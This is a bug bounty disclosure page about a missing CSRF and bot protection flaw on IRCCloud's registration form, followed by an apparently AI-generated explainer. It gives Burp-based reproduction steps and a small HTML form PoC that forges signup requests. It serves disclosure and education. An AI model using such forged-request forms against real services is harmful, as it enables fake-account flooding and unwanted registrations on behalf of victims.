CSRF - Creating accounts
The registration form lacked CSRF and bot protection, so an attacker could automate account creation or trick victims into creating accounts. This could flood the database with useless accounts.
Originally disclosed on HackerOne
- Fixed in 2 days
- Disclosed after 32 days
Hi there,
I've discovered the following CSRF issue: There's no CSRF / Bot protection on the registration form.
###Details
An attacker could automate the registration process to flood your database with invalid/useless accounts. He could also source the process out to his victims (CSRF).
###Steps to reproduce
- 2 . Turn on burp and submit the registration form
-
- Remove the "token" and "_reqid" parameter from the request body and forward it
-
- The account should be created succesfully.
CSRF PoC:
<html>
<body>
<form action="https://www.irccloud.com/chat/signup" method="POST">
<input type="hidden" name="email" value="tes3@internetwache.org" />
<input type="hidden" name="password" value="fooobar" />
<input type="hidden" name="realname" value="test"><h1>foobar</h1>" />
<input type="hidden" name="invite" value="" />
<input type="hidden" name="org_invite" value="" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
###How to fix? Either validate the "token" parameter server side or use a CAPTCHA to fight bots. The latter would be the prefered fix in my opinion.
Yours sincerely, Sebastian Neef
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
The registration endpoint did not validate a server-side CSRF token or require a CAPTCHA, so requests could be forged or automated.
Impact
An attacker could automate registration to flood the database with invalid accounts, or use CSRF to make victims create accounts.
What the attacker needed
Victim visits attacker page; no authentication needed
The fix
The registration form should validate the token server-side or use a CAPTCHA to prevent bots.
How it was found
- Go to the IRCCloud website.
- Turn on Burp and submit the registration form.
- Remove the token and _reqid parameters from the request body and forward it.
- The account is created successfully.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A CSRF attack tricks a victim's browser into sending a request they did not intend. Here, the signup form accepted requests without a secret token, so a malicious page could create accounts. This lets an attacker fill the service with fake accounts.
What is CSRF?
Another site makes a signed-in user's browser perform an action they did not intend.